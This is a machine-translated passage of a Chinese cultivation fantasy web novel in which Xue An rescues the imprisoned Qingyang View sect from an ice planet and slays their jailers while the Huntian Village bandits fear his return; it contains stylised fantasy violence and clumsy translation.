    In fact, from ancient times to the present, it is unknown how many peerless geniuses did not die on the path of spiritual practice, but died under the deceitful deceitful human nature.


    Because there are only so many resources for practice, if you get one more spar, then I might lose one.


    And if your realm is higher than mine, then I am even more worried about my life.


    Therefore, under the influence of this mentality of greed, jealousy, etc., the entire world of spiritual practice is actually extremely cruel.


    For many people''s contacts, there are actually only naked interests to talk about, without the slightest emotion in it.


    So when Xue An first came out of the earth, the situation he faced was extremely bad.


    He has no lineage, no inheritance, no resources, and even a guide in practice. He is just a black eye, and he has no idea where to start.


    Therefore, in the first ten years, Xue An lived a life of displacement, and could only barely maintain it by relying on some bad street techniques.


    If there is no accident, his ending is basically doomed, and that is to die alone on a certain planet.


    You may not even be able to break through a happy state when you are dying.


    It wasn''t until Xue An met someone by chance that his fate was completely rewritten.


    This person''s name is Gongliangxing, who is the descendant of Qingyang View.


    And this Qingyang view is one of the countless sects of the heavens, and it is one of the most inconspicuous.


    There is no prominent reputation, no unique blessed land, and even the originator of Qingyang View is just a real celestial powerhouse.


    All this makes it seem so ordinary.


    But such a small sect has given Xue An a great help. It can even be said that Xue An will become a worldless Immortal Venerable in the future. A large part of the reason is due to this small Qingyang. View.


    At that time, the Qingyang View gave Xue An selfless help. Although the exercises were not very clever, it laid a good foundation for Xue An and gave him numerous resource support.


    And Gongliang Xing became a guide and close friend on Xue An''s path of cultivation.


    Xue An spent the first period of practice in such a small sect that was full of human touch and even seemed incompatible with other Shenzong great sects.


    Xue An has always remembered this period and kindness.


    Therefore, when Xue An became stronger and stronger, his realm was getting higher and higher, and even after finally proving Dao Immortal Venerable, he came to Qingyang Temple several times, wanting to help this sect to flourish.


    But what I never expected was that Qingyang Guan actually rejected Xue An''s kindness, and Gong Liangxing even smiled and said that Qingyang Guan was very good now, and there was no need to carry it forward, because that would be too tiring.


    In the end, Xue An had to give up this idea and instead gave Mo Wangan in his hand to Gongliangxing.


    The presence of this sword is enough to protect the entire Qingyang View from nothing.


    Gongliang Xing later enshrined this sword in a temple specially built for Xue An.


    This is why Mo Wangan appeared in that temple.


    And when Mo Wangan was summoned on Earth last time, Xue An had already faintly noticed something was wrong.


    But I never expected that when Xue An came here on purpose, he found that the entire Qingyang Temple had disappeared, leaving only a dilapidated temple.


    It was not until under Mo Wangan''s guidance that Xue An came to this white planet covered in snow and ice, and was aroused by the sight of it.


    Because he can feel that this planet is clearly a huge cage, trapped in it, not only the body cannot escape, but even the soul will be imprisoned in it. Even if you die, you will have to be reborn in this planet and live forever. , Never leave.


    This is more vicious than the most cruel punishment, because when the punishment finally comes to an end, this imprisonment never ends.


    Xue An was mad with anger, killing intent in his eyes, and then stepped out and flew straight into the planet.


    at the same time.


    On this planet, many monks in ragged clothes are walking among the ice and snow with huge rocks on their backs.


    The temperature had dropped to the extreme, and the extreme cold caused the guards to wear heavy cotton clothes.


    But these monks were chained by chains, squatting on their waists, carrying a huge stone weighing thousands of catties, and walking staggeringly.


    Suddenly.


    In the team , a monk staggered, thumped and fell to the ground.


    Snapped!


    A whip dragged the sharp wind and then drew it.


    With a whip, the monk''s back was instantly torn into a gap with deep bones.


    The monk snorted, and blood dripped from his mouth and nose, which dyed the white snow beneath him.


    "Damn, dare to be lazy!" A prison soldier walked up with a fierce face, raising his whip again.


    "Prisoner, be merciful, if you draw another whip, his life will not be saved!" An old man begged.


    "What can you do if you can''t keep it? Anyway, you guys are born with a low fate. If you die, you have to resurrect on this planet obediently, and then become slaves forever!"


    Speaking of this, the prisoner couldn''t help laughing strangely.


    "Why? Do you want to intercede for him? That''s okay, then you have to take the remaining whips for him, how?"

 Chapter 1999： Like heaven

    The rest of the prisoners couldn''t help laughing.


    "That''s right, those who don''t die don''t look in the mirror. Just you want to intercede for others?"


    "Fuck him a few whips, I think he still dares to talk nonsense!"


    In the drum noise, the old man put down the huge boulder he was carrying with a calm face, then turned his back, and said in a deep voice: "Well, I will take the remaining whips for him!"


    These prisoners didn''t expect such a scene to happen, and they couldn''t help being taken aback.


    But soon, the prison soldier holding the whip sneered again and again, "Tsk tsk, it''s really touching fellowship! But do you find it useful? If I were you, I would have killed myself, because of you. The little Qingyang view, there is no more time for relief!"


    "Who made you have an unclear relationship with that Xue An, and refused to correct it! As a result, it angered several adults and made you bear this endless punishment forever, and Xue An, whom you swear to protect, is now here again Where is it?"


    The prison soldier said fiercely, intending to shake the minds of these monks in this way.


    But he never expected that after he finished speaking, the rest of the monks actually put down the huge boulders they were carrying, then turned their backs and said lightly.


    "The remaining whips, we will bear it together!"


    The sound shook the wilderness, and also made the prisoners discolored.


    "Okay, okay! Since you want to die so, I will fulfill you today! Brothers, let''s go together, and today will kill all these untouchables!" the prison soldier roared.


    "understand!"


    Numerous prisoners waved their long whips in unison, and slashed their heads and faces under these monks.


    But when the whip reached halfway, it suddenly stopped, and then it turned into powder without a sound.


    These prisoners were taken aback for a moment. At the same time, Xue An''s figure appeared in the air. When he looked down and saw the tragic situation of these monks, the anger in his eyes could not help but increased, and then raised his head to look at these prisoners. Soldiers.


    "You all deserve to die!"


    Xue An''s killing intent has been condensed into essence, turned into supreme coercion, and burst out.


    Bang bang bang!


    These prisoners didn''t even have time to hum, they were shaken to pieces by this power.


    The blood and residual meat were scattered on the ground, and the stench was disgusting, and the prison soldier standing in the front trembled crazily.


    "Spare...Spare!" He whispered palely.


    But Xue An didn''t give him a chance to continue talking. The brilliance flashed in his eyes, and the majestic spirit directly invaded the prisoner''s sea of ??consciousness, plundering all his memories.


    Immediately after hearing a muffled sound, the head of the prisoner burst open like a rotten watermelon.


    The brains that had been shaken by Xue An''s spirit into tofu dregs were scattered on the ground.


    After all this was done, Xue An fell on the ground and looked at these monks with regret.


    "Everyone, I''m sorry, I''m late!"


    As he said, Xue An raised his hand and lightly waved a green wood talisman seal in the air.


    Then the aura of the natural green wood diffused, wrapping these monks in it.


    In an instant, the wounds of these monks healed quickly at a speed visible to the naked eye.


    At the same time, their spiritual consciousness cultivation was restored as before.


    After the blue qi dissipated, these people no longer had the slumping they just had, but stood there completely, looking at Xue An with a look of astonishment.


    "You... are you Xue An?" The old monk who spoke first suddenly shook his body and shouted hoarsely.


    Xue An smiled and nodded, "Uncle Song, it''s me!"


    Back then, this old man was specifically responsible for planting medicinal fields in Qingyang Guanzhong, and Xue An dealt with him frequently.


    And this song of Uncle Song also made the old man cry like rain.


    "Thank you, Qingyang, waiting for thousands of people up and down is not in vain, you are finally back!"


    As for the others, they also shed tears.


    Because the suffering they have suffered over the years is simply untold, but they have not given up because they have been insisting on a concept in their hearts.


    Xue An will definitely return!


    Xue An was also moved by Song Uncle''s cry, a trace of tears loomed in his eyes, and then took a deep breath.


    "Uncle Song, please don''t cry. I just understood the matter. I will never let the person who started it with you. Now you will go with me to the jail in the center of this world to see how I avenge you!"


    After all, Xue An raised his hand, dozens of sword lights suddenly appeared, and then sank into the bodies of these monks.


    "go!"


    Xue An took the lead and rose into the sky, while the monks headed by Uncle Song followed closely behind and headed for the central sky prison.


    By retrieving the memory of that prisoner, Xue An knew that the real high-level members of Qingyangguan were detained in the sky prison located in the center of this world.


    Only some ordinary disciples outside will be exiled and tortured as torture prisoners.


    Therefore, Xue Anma non-stop, came straight to this jail.


    At the same time, a grand dinner is being held in this jail in the center of this world.


    Although it is a cell, this sky cell is extremely tall, and when seen from a distance, it looks like a tall white tower standing upright.


    And on the spire of the White Pagoda at this moment, several outstanding generals and generals are talking happily.


    Although it is icy and snowy outside, the house is warm like spring.


    The wine and delicacies were presented even more like flowing water, and these generals were already three-thirds drunk, and even the voice of the discussion was a little louder.


    "Hehe, although it is a bitter cold place, I think it is better here than the outside. After all, our brothers are the same bosses here, do whatever they want, right?" One of the generals laughed.


    "That''s not bad. Anyway, we are here to suppress the cultivators of Qingyang Guan, and I don''t think these cultivators can make any waves. We just happened to have a leisure time!" Another general said lightly. .


    Instead, the general sitting in the center listened indifferently.


    It wasn''t until the two of them looked at him that he lightly smiled and said: "The two wise brothers are right, but you can''t take it lightly. After all, Xue An is already born again. Let''s beware of him coming here. Make a mess!"


    Hearing the name Xue An , the two generals shrank their necks in fright, and their momentum stagnated, but soon thought of something, and their arrogance became arrogant again.


    "Hehe, there is some truth in what the eldest brother said, but I think that fellow Xue An will not find here. After all, the whole heavens are looking for him now, unless he is desperate, how can he be so stupid to throw himself into the net ?"


    "Yeah! I think so too, he won''t expose his whereabouts for the sake of a little Qingyang view!"


    These two generals sang me and talked, and the more they talked, the more excited they became. The words seemed to be nothing more than Xue An.


    But just when they are most excited.


    Just hearing a loud bang, the whole cell was shaken.


    "what happened?"


    Even these generals were so shocked that they couldn''t help asking in amazement.


    At the same time, I heard another loud noise.


    Like the sky.

 Chapter 2000： Give you hope, and then push you down the abyss

    "No, someone is attacking the jail outside!" The general who sat in the middle got up and exclaimed.


    "How is it possible, this is the jail of my Huntianzhai, who dares to come and cause trouble?" Another general said uncertainly.


    But as soon as his voice fell, a light appeared in front of his eyes.


    An extremely brilliant sword light.


    Rumble!


    When Jianguang passed, the entire jail was chopped in half from the middle.


    Not only that, there was a general who was fortunate enough to stand under the sword light. When the sword light passed, he didn''t even have time to hum, so he was cut in half.


    The sky was two points away, and the harsh wind and snow surged in, accompanied by the two halves of the general''s smooth mirror-like corpse, making everyone else afraid.


    "This...what the **** is going on? Who...who cut this sword?" a general shouted hysterically, his eyes full of fear.


    Because the dead general was still talking and laughing with them just now, and in the blink of an eye he became a dead body that was accurately cut in half.


    You know, although this general is not too strong, he is also a powerful Golden Immortal.


    At this moment, he died without dignity like a chicken and dog.


    And the whole process didn''t even see the other person''s shadow, how could this not make him feel frightened.


    But the general in the center did not speak.


    His strength and knowledge are the highest among these people, so he vaguely feels that there is a breath from the outside world approaching.


    Although this breath might be absent, it was just a leak that was enough to shock him.


    So he closed his mouth very wisely and flashed into the darkness of the corner like a rabbit.


    The power of the true immortal was slowly gathering in his body, and at the same time a small jade art appeared in his palm, which contained terrifying power.


    His move also reminded everyone else.


    In an instant, the jail that was cut in half but still standing still quieted down.


    Only the roar of the violent wind engulfed in the wind and snow echoed in everyone''s ears.


    The whole world is terribly quiet.


    Finally, there was a creak of footsteps over the snow in the distance.


    The generals and even the soldiers in the prison were all up to twelve points.


    The general hiding in the dark is even rubbing the jade formula in his hand, and a cold light flashes in his eyes.


    But at this moment, the footsteps suddenly stopped outside the jail.


    Then came a voice that was indifferent and unquestionable.


    "I only give you three snaps time to escape. After three snaps, those who fail to escape will die!"


    "One!"


    The voice just fell.


    The general, who had been hiding in the dark and preparing to attack, took the lead in rushing out of the jail, and then flying away desperately.


    During the whole process, he didn''t even have the courage to look at the speaker, he just wanted to escape as quickly as possible, and it was best to stay away from the speaker.


    Because as soon as the sound reached his ears, he felt that his blood was cold, his original courage was gone, and even his hair was erected in an instant.


    All because he heard who the voice came from!


    He is one of the heavenly generals under the gate of Huntian Village, named Shan Yuanjia. He had met Xue An by chance, so he could hear Xue An''s voice for the first time.


    And it was this discovery that made him give up the ridiculous idea of ??wanting to sneak attack before, and instead chose to escape without hesitation.


    "Two!" Xue An looked at the figure disappearing into the wind and snow at an extremely fast speed, and shouted the second word with a sneer.


    At this time, the rest of the people in the sky prison were also sober.


    But they didn''t know what happened, or even why Shan Yuanjia chose to escape.


    But under Xue An''s cold voice without any emotion, some people were completely angry.


    "What are you, you dare to threaten the people of Huntian Village! Give me death!"


    A general roared and waved his hands, sending out his strongest blow, blasting out of the prison.


    Although this general is not as ranked as the heavenly general of Huntianzhai like Shan Yuanjia, he also possesses decent strength.


    In particular, this blow was angered, and under full urging, it was like a golden comet, rushing towards Xue An with terrifying power.


    Everyone just breathed a sigh of relief. But in the next instant, horror appeared on their faces.


    Because Xue An didn''t even lift his eyelids, but faintly drank the third word, "Three!"


    Under a word, the Guanghua that had just rushed to him instantly disintegrated and turned into nothing.


    Immediately afterwards, around Xue An''s body, countless sword lights appeared out of thin air, and then swept in like a violent wind and huge waves, completely submerging the entire cell.


    Hey.


    Accompanied by the sound of ants and insects biting, the entire jail was chopped into powder by these countless swords in an instant.


    As for the soldiers and generals inside, they didn''t even have the slightest power to fight back. They were directly eaten by these swordsmanship, exposing their bones, and then crashing to the ground.


    Seeing this **** scene, Song Bo and the others burst into tears.


    Because the hands of these soldiers and generals were all stained with the blood of Qing Yang Guan.


    Now that they have gotten their due end, they are naturally happy.


    In the next instant, the sword light dispersed.


    Looking at the sky cell in front of me, except for the underground, the entire building on the ground has disappeared.


    Uncle Song showed hesitation on his face, then stepped forward and said, "Mr. Xue, that Shan Yuanjia is the most brutal executioner who persecuted Qingyang Guan, shouldn''t he let him go like this?"


    Uncle Song naturally also saw the Shan Yuanjia''s escape from before, and thought Xue An really planned to let him go.


    Xue An smiled faintly, "Of course not."


    "Then you just..."


    "I was just kidding him! After all... if you kill him like this, it would be too cheap for him!"


    Speaking of this, Xue An''s eyes showed a cold light.


    "I have to let him see some hope first, and then push it into the abyss with my own hands. Only in this way can he realize... what despair is!"


    Listening to Xue An''s cold words, Uncle Song couldn''t help but fought a cold war.


    Although he hated Yamamoto Jia at this moment, he suddenly had some pity for him.


    You said that you guys are not good enough to provoke Mr. Xue.


    This is it!


    It is estimated that you will not die happy!


    While he was thinking about it, when Xue An raised his hand and waved, a strand of sword light appeared out of thin air like a silk thread, and then Xue An calmly said: "Come back!"


    When the words fell, the strand of sword wire was instantly tightened, and then dragged it back.


    At the same time, on the edge of the planet, Shan Yuanjia was fleeing frantically.


    Seeing that he was about to leave the scope of this planet, his face couldn''t help showing a touch of joy.


    Anyway, I got away anyhow!


    I have to go back now and report the sudden appearance of Xue An to the village master. I believe the village master will reward me heavily!


    Thinking of this, Yamamoto Jia was even more enthused.

 Chapter 2001： Best friends are like dead bodies

    But at this moment, he felt that his waist suddenly tightened, and then he couldn''t help flying backwards.


    "What''s going on? Ah, ah, ah, I don''t want to go back!" Shan Yuanjia was shocked, and even though he understood something, he was so scared that he was so scared that he was struggling frantically, trying to escape the control of this strand of sword wire.


    But everything was in vain. Under this huge power that was so powerful, he didn''t even have room to resist, so he was dragged back into this ice and snow planet.


    A fierce look appeared in Shan Yuanjia''s eyes, and he smashed the jade art in his hand, trying to explode the sword wire.


    You must know that this jade tactic was obtained by chance and coincidence, and it contained a full blow from a strong immortal king, and its power was very terrifying.


    But as soon as this jade tactic released its brilliance, another strand of sword thread emerged from the sword aura, which directly wrapped the jade tactic, and then slammed tight.


    puff!


    Yu Jue didn''t even arouse any waves, and was directly strangled invisible by this sword thread.


    Shan Yuanjia couldn''t believe his eyes, but at this moment, when Xue An''s proud and independent figure appeared before his eyes.


    He couldn''t help showing a deep look of despair, and then summoned the courage to shout.


    "Didn''t you say that as long as you escape within three snaps, you can let him go? Why are you turning back?"


    "Oh? Did I say that?" Xue An smiled faintly, then raised his finger slightly.


    Shan Yuanjia was dragged to the front in an instant, and then the sword wire around his waist was instantly untied, but he still couldn''t move, but floated in the air, looking at Xue An with horror on his face.


    "You...what are you going to do?"


    Xue An said indifferently: "Didn''t you just say why I had to turn back? Then I will tell you now, because I don''t want you to die so easily. I want you to die after you have a taste of despair. Only in this way can I die. I am worthy of the many care you gave to Qingyang audiences back then!"


    When speaking of the word "care", Xue An deliberately increased his tone, full of sarcasm.


    Yamamoto Jia shivered into a ball, and murmured without expression: "Fare... forgive me!"


    Suddenly, he said hurriedly as if thinking of something.


    "My lord, I am willing to tell you all the plans of Huntian Village, and I can also release all the Qingyang Viewers and others. I only ask you to spare my life! After all, this whole thing is Huntian. What Zhai told me to do, I was just a **** who performed the task!"


    Unexpectedly, Xue An was not moved at all, but looked at Shan Yuanjia with a smile, until Shan Yuanjia''s voice gradually became quieter, and finally became quiet.


    Xue An just said lightly: "I naturally want to know what you said!"


    Yamamoto Jia''s face was ecstatic, but his joy froze in the next moment.


    Just listen to Xue An''s words, "But the question is... Since I want to know, why don''t I get it directly from your soul? In that case, do you still need to tell me?"


    Yamamoto Jia''s lips kept trembling, and the expression in his eyes was extremely gray.


    "I����."


    He just wanted to say something, but Xue An didn''t give him a chance to speak. Xue An''s eyes flashed with brilliance, and the turbulent thoughts pierced directly into Shan Yuanjia''s eyebrows and consciousness like a sharp needle.


    Yamamoto Jia was shocked like an electric shock, trembling crazily, and an expression of extreme pain appeared on his face.


    You must know that this kind of pain reaches the depths of the soul, enough to make any tough guy collapse.


    But Xue An didn''t have any expressions, his divine mind was tossed in Shan Yuanjia''s sea of ??consciousness, searching slowly for his memories.


    at last.


    After Xue An found what he wanted, he withdrew his spiritual thoughts.


    Looking at Shan Yuanjia at this time, he was already stupid, his eyes floating hollow in the air.


    This is a sign that his soul has collapsed.


    Xue An believed that Shan Yuanjia''s head exploded in an instant, turning into a dead body without a head, and fell to the ground.


    "Are you satisfied?" Xue An said lightly without looking back.


    Uncle Song behind him has already burst into tears. Hearing this, he quickly wiped away his tears, and said with a nod to his head: "Satisfaction!"


    Xue An smiled slightly, "Satisfaction is good, but this is just the beginning!"


    After all, Xue An flew to the location of the previous celestial cell.


    At this time, although the sky prison had disappeared, the foundation was intact.


    Xue An learned from Yuan Jia''s memory that under this foundation, it was actually a huge prison, which could only be entered through special methods.


    But Xue An didn''t use those cumbersome methods at all, but stepped on it.


    boom!


    Under one foot, a big earthquake trembled, and the foundation was directly stepped out of dense runes.


    The rune deduced the brightness and decay, as if resisting.


    But under the power of Xue An''s feet, the scene that only supported less than a few breaths exploded.


    After the drama flashed, a large black hole appeared on the ground.


    Xue An stepped into it, and Song Bo and others followed.


    As soon as he entered the cave, there was a corridor that was too long to see the end, and a cold air that was too thick to dissolve immediately surrounded him.


    Frost appeared on the bodies of Uncle Song and others, and even the qi and blood cultivation base had faint signs of solidification, which showed the severity of the chill.


    At this moment, Xue An waved back without turning his head, dozens of radiances were submerged in Song Bo and the others, and immediately dispelled the biting cold air.


    Song Bo and the others refreshed, and then took a big step to follow Xue An.


    After walking for a full quarter of an hour, the scene in front of me suddenly changed, as if it had crossed a layer of light and darkness, and my eyes suddenly opened up.


    But everywhere you see is shining with cold and dazzling brilliance, and you can see the reflected shadows on the top, bottom, left, and right in every step you take.


    It is a huge ice and snow palace.


    In this palace, the cold air became more and more intense, and even the water vapor in the air was completely frozen, causing the air here to be extremely dry and cold. A single breath can directly hurt from the nose to the lungs.


    But everyone was not in the mood to pay attention to the strange scene here, because all their attention was attracted by the dense cobweb-like iron chain in front.


    Xue An''s face was as cold as iron, and he walked forward quickly.


    Suddenly!


    He stopped, his eyes bursting with anger, and his violent killing intent even shook out huge cracks in the ice that had not melted for billions of years.


    Uncle Song rushed to see the scene in front of him, and his body was shocked. Then he thumped and fell to his knees, crying out in mourning.


    "Watch the Lord!"


    No wonder they are so excited The scene in front of them is really terrifying.


    There were dozens of iron chains criss-crossing in front of me, and the tops all extended to the sky above this ice and snow palace.


    And at the end of these chains, people are bound together impressively.


    These people only have the upper body, because their lower body is buried in the hard ice. At first glance, they look like ice sculptures.


    At the forefront of the team, the person who was also **** with the most chains was a middle-aged man with a mustache and a kind of kindness.


    It is Xue An''s guide and friend Gong Liangxing.


    Xue An took a few steps and came to him. When he looked down, he saw Gongliangxing''s lower body under the crystal clear ice.


    But the condensing of the two is so reliable, as if they have grown together.


    But Gongliangxing''s eyes closed tightly, with no breath, like a dead body.

 Chapter 2002： 1 punch birth and death

    The brilliance in Xue An''s eyes flashed, implying infinite anger and killing intent, just like a rough sea, which was daunting.


    But soon, he took a deep breath, Qiang Zi calmed down, then stretched out his hand and lightly touched Gongliangxing''s eyebrows.


    In an instant, centering on the point where Xue An pointed, a faint halo spread quickly, and finally spread to the entire upper body of Gongliangxing.


    "Old friend, wake up, I''m here!" Xue An called softly.


    Seeing this scene, Uncle Song, who was standing behind Xue An, couldn''t help tears in his eyes. He also whispered softly: "Lord Master, wake up! Mr. Xue is here!"


    With their voices, Gong Liangxing''s face no longer was so rigid, but gradually became soft and vivid.


    And the eyelids began to tremble slightly, as if a long-sleeper person was trying to break his nightmare.


    Xue looked quietly.


    In this view of Qingyang, there is a secret technique called Qingyang Disruption of Life.


    There is nothing magical about this kind of magic, its only function is to make people enter a state where they are not dead, thereby greatly improving their ability to withstand harsh environments.


    But the price is that once you enter this situation, if there is no outsider awakened, you will never be able to wake up and eventually die.


    And Gongliangxing and these Qingyang audiences in front of them clearly entered this situation collectively.


    As for who they are waiting for...


    Obviously, he was waiting for Xue An.


    How can this kind of waiting with life as a bet not be moved.


    At this moment, when Gong Liangxing finally opened his eyes, he looked at Xue An who was standing in front of him blankly.


    Xue An smiled slightly and nodded slightly, "Long time no see, old friend!"


    The confusion on Gongliangxing''s face gradually faded, and a smile appeared, "Yes, long time no see!"


    There was infinite fatigue and vicissitudes in his voice, but his eyes were bright as a diamond, and he looked at Song Bo and others behind Xue An.


    "You are here too!"


    Uncle Song and others knelt to the ground, "Watch the Lord!"


    Gongliang Xing smiled, "You have suffered over the years!"


    A word made Song Bo and the others cry.


    You must know that they have indeed suffered a lot, but it is far from Gong Liangxing''s current situation.


    Unexpectedly, Gong Liangxing''s first words after seeing them were to comfort him, how could this not make them moved.


    Xue An watched silently, a faint smile appeared in his eyes.


    really!


    No matter what happened, his old friend has not changed at all!


    At this moment, Gong Liangxing turned his head to look at the people behind him, and then whispered: "Xue An, wake them up too!"


    Xue An nodded, and then took a step forward, with a flick of his fingers, flashes of brilliance flashed past, and penetrated into these people''s eyebrows.


    In an instant, these people also woke up.


    But even after waking up, the lower bodies of these Qingyang audiences were still firmly frozen in the ice, without the slightest change.


    "What''s going on? Mr. Xue, you can save Guanzhu and others!" Song Bo said anxiously.


    But after hearing this, Gong Liangxing smiled bitterly and shook his head.


    "It''s useless, this layer of ice that freezes us is transformed by the rules of this planet. Unless we can shake this entire star, we won''t be able to get out at all!"


    "What?" Song Bo and the others all looked horrified.


    Gong Liangxing raised his head to look at Xue An and smiled and said: "So I think it is better for you to cut off us people from the middle. Although that will lose half of the cultivation base, at least you can get away!"


    The rest of the frozen Qingyang audience also nodded, "Yes, Mr. Xue, since you are here, let''s do it!"


    "Yeah! Cut us off from the middle first, so that we can get out of trouble!"


    In the face of these shouts, Xue An remained silent, and it was not until their shouts gradually ceased that Xue An smiled at Gongliangxing.


    "Since I am here, of course I want to save you, but if I want me to cut you off, I can''t do this kind of thing!"


    Gong Liangxing sighed softly, "Otherwise, what should I do? Could it be that..."


    Before the Gongliangxing finished speaking, Xue An took a step forward.


    One step later, Xue An came to the sky above the ice and snow palace and said lightly: "Close your eyes!"


    Everyone was stunned. At the same time, when Xue An shook his palm into a fist, his eyebrows stood up suddenly, and then he punched the ice below.


    Although this punch hit the void, under the squeeze of the air, the ice below seemed to have been bombarded by a nuclear bomb, directly exploding a big hole.


    Then, a dazzling brilliance flashed.


    Gong Liangxing and the others closed their eyes together, and then the whole body was shaken out.


    The shackles that had originally needed to cut the body from the middle to get out of the trap, Xue An easily unraveled.


    But this is just the beginning.


    With the sound of clicking, the large hole on the ice began to spread rapidly, and the speed became faster and faster.


    After just a few breaths, this ice and snow palace was completely shattered, and with it as the center, it spread across the ice and snow continent of this planet at a speed visible to the naked eye.


    Rumble!


    In front of this huge hole, the hard ice layer, which is several miles or even dozens of miles thick, disintegrated and shattered quickly like fragile glass.


    Mountains and rivers change shape, rivers are changed course.


    Even the frozen sea surface turned into ice powder after a cry.


    However, after a quarter of an hour, look at this rigorous planet that was originally wrapped in ice and snow.


    The dull whiteness receded like a tide, and was replaced by a large gray-brown ground.


    The long-silent ocean became noisy once again, and the waves swelled with sprays, roaring toward the beach.


    Everything... changed its appearance under Xue An''s punch.


    Gongliangxing, Song Bo and the others all stood there blankly, looking at the scene in front of them in disbelief.


    No one thought that such a planet that had been strangled by ice and snow would be rejuvenated by Xue An''s punch.


    This kind of boxing technique is incredible has reached an incredible level.


    And just when these people were astonished, Xue An said lightly: "Let''s go, the matter here has been processed, and then...it''s time to go to Huntianzhai to settle accounts!"


    After that, Xue An waved his hand, and hundreds of sword lights fell like rain and sank into Gongliangxing and the others.


    Gong Liangxing and others, who had been sluggish because of the long sleep, felt refreshed, and the whole person was full of vitality.


    At the same time, Xue An flicked his arms back, and his whole body rose into the sky like a sword light.


    Gong Liangxing and the others felt that their feet were light, and they couldn''t help flying up, and they followed Xue An and disappeared into the vast void.


    And after they left, on the muddy ground of this planet, a small grass slowly drilled out of the ground, and tremblingly unfolded its leaves, bringing a touch of green to this newly reborn world.


    This punch not only destroyed everything, but also brought vitality.


    This is the highest state of the Six Types of Killing God, one punch comes and goes.

 Chapter 2003： 4 beams 8 columns

    In the void about an hour away from this planet, there is a huge earthy yellow planet suspended.


    Above the planet, hurricanes with speeds of up to thousands of kilometers swept past from time to time. Wherever they passed, they were full of power to destroy the sky and the earth. Even from outside the planet, you can see the formation of the hurricane. Whirlpool.


    And in the eye of the confluence of countless hurricanes, a walled city stood tall.


    This walled city is desolate and simple, standing in the strong wind, no matter how violent the wind is, it still stands still.


    And here, Huntian Village is in charge of the nearby star field with a light path of more than a thousand hours.


    At this moment, Shen Pengxing, the owner of the Huntian Village, was sitting in the gathering hall, frowning and looking solemn.


    In recent days, he has always felt a little uneasy, as if something bad was about to happen.


    To this end, he also deliberately found the dog-headed military division in Huntianzhai, that is, the Tuotianliang among the four beams and eight pillars, and gave himself a calculation.


    After finishing the calculation, the dog-headed military commander bared his teeth for joy.


    "Master, have you been worrying about someone lately?"


    Shen Pengxing nodded, "Yes!"


    "Hehe, if I''m not mistaken, is it the Red Lotus Immortal Venerable Xue An that you are worried about?"


    Shen Pengxing''s discoloration changed slightly as soon as this remark came out, but Xuanyi let out a long sigh.


    "You are right, I have been worried about Xue An, after all, he has caused a lot of wind and waves among the heavens recently! And if he knows what we have done to Qingyang View... ...."


    Speaking of this, Shen Pengxing fought a cold war, and he didn''t dare to think about it anymore.


    This Huntian Village is known as a sect, but it is actually a bandit den.


    At that time, Shen Pengxing set up a checkpoint nearby, and any monk who passed by must pay enough tolls to pass.


    Coincidentally, when Xue An passed by once, Shen Pengxing''s people asked for tolls.


    result����.


    The result was that this level was directly destroyed, and Huntian Village was never recovered from then on, retreating from a big faction that had dominated one star field into such a small city.


    Shen Pengxing almost died. If he hadn''t seen the opportunity quickly and begged for mercy, it is estimated that his bones are now rotten.


    All this caused Shen Pengxing and everyone in Huntian Village to hate Xue An.


    But there is fear that is stronger than that hatred.


    Even Shen Pengxing couldn''t hear the name Xue An at the time, and couldn''t help but want to kneel to the ground as soon as he heard it.


    One can imagine how happy they were when they heard the news of Xue An''s fall.


    Shen Pengxing almost happily lost his breath, and after three days of the big banquet, he launched a crazy revenge on Qingyang Guan.


    This is the reason why Gongliangxing and others of Qingyang View will be imprisoned in that planet and cannot be detached forever.


    But I never expected that such happy days hadn''t been long before, and news about Xue An came from the heavens again.


    And this time, Xue An tried to kill the six immortal kings as soon as he was born.


    After hearing these news, Shen Pengxing never ate and slept well again.


    Because he was always worried about whether Xue An would come to retaliate.


    After all, he had a dead hand on Qingyang View, if Xue An knew about this, he would never let him go.


    That''s why he was so ill that he went to the hospital to the extent that the koo-headed military master in the stockade could fortune himself.


    At this time, the Tuotianliang, who was ranked first among the four beams and eight pillars, smiled.


    "Master of the village, let me relax first, I can guarantee that Xue An will never come to us for trouble!"


    "Oh? Why do you say that?" Shen Pengxing was interested at that time.


    "It''s very simple, because nowadays, almost all the sects in the heavens have ordered Xue An to be wanted and killed. Unless he is crazy, he will never show his face, let alone expose him for the sake of a mere green sun. Your whereabouts! Do you think this is the reason?"


    At that time, after hearing these words, Shen Pengxing was in a good mood, thinking that this was indeed the truth, and rewarded the koo-headed sergeant.


    But after waiting for these few days, Shen Pengxing began to feel restless again, and even dreaming at night would be awakened from time to time.


    This kind of feeling really made him scratch his heart, so he came to the Juyi and Spoils Sharing Hall early today and called all his staff to come for a meeting.


    Soon, there were heavy footsteps from outside the hall, and then a black-faced man with a sideburn and beard broke in.


    This black-faced man is vigorous and his muscles are as strong as cast of black iron. Just standing there casually, he has a fierce aura.


    The person who came was Shen Pengxing''s number one thug, which was the top beam among the four beams and eight pillars!


    Speaking of this, I want to briefly introduce these four beams and eight pillars.


    This is the organizational title in Huntianzhai, and the four beams refer to the supporting beam, the top beam, the Yingtian beam, and the Shuntian beam.


    Among them, Tuo Tianliang is responsible for making suggestions, Ding Tianliang is responsible for the charge, Ying Tianliang is responsible for logistics, and Shuntianliang is responsible for safety protection.


    The status of the eight pillars is slightly lower than that of the four beams. It is similar to middle managers and is divided into four pillars inside and outside.


    They are the inner four pillars, sweeping pillars, cruel pillars, white jade pillars, and supporting pillars.


    Four outer pillars, a thousand pillars inserted, a letter passing pillar, an outer pillar, and a door pillar.


    According to the division of labor, they are respectively responsible for collecting debts, keeping accounts, and inquiring about news.


    The entire Huntianzhai has a clear division of labor and a strict hierarchy, and it is considered to be second to none among the bandits of the heavens.


    Today, these four beams and eight pillars gathered in the Hall of Righteousness and Spoils and gave a deep salute to Shen Pengxing, who was sitting on the high chair in the middle, and shouted in unison.


    "Master!"


    Shen Pengxing waved his hand and said solemnly.


    "There is no other reason why I asked you to come today. It''s because I''ve always been upset recently. I always feel that something bad is about to happen, so I want everyone to come and discuss the countermeasures!"


    Speaking of this, Shen Pengxing glanced around at the men present, and said in a deep voice: "Presumably you all know that Xue Anye has been born again. If he comes to our Huntian Village, how should we respond?"


    As soon as these words came out, these ferocious bandits were taken aback, and then their arrogant arrogance was slightly reduced, and there was not even a person who dared to speak.


    Shen Pengxing''s complexion sank how? Are all scared, dare not even say a word? "


    At this moment, the dog-headed soldier who was standing in the audience, Tuo Tianliang gently pushed the top Tianliang next to him, and winked at him.


    The black-faced man understood, and then stepped forward and said in a deep voice.


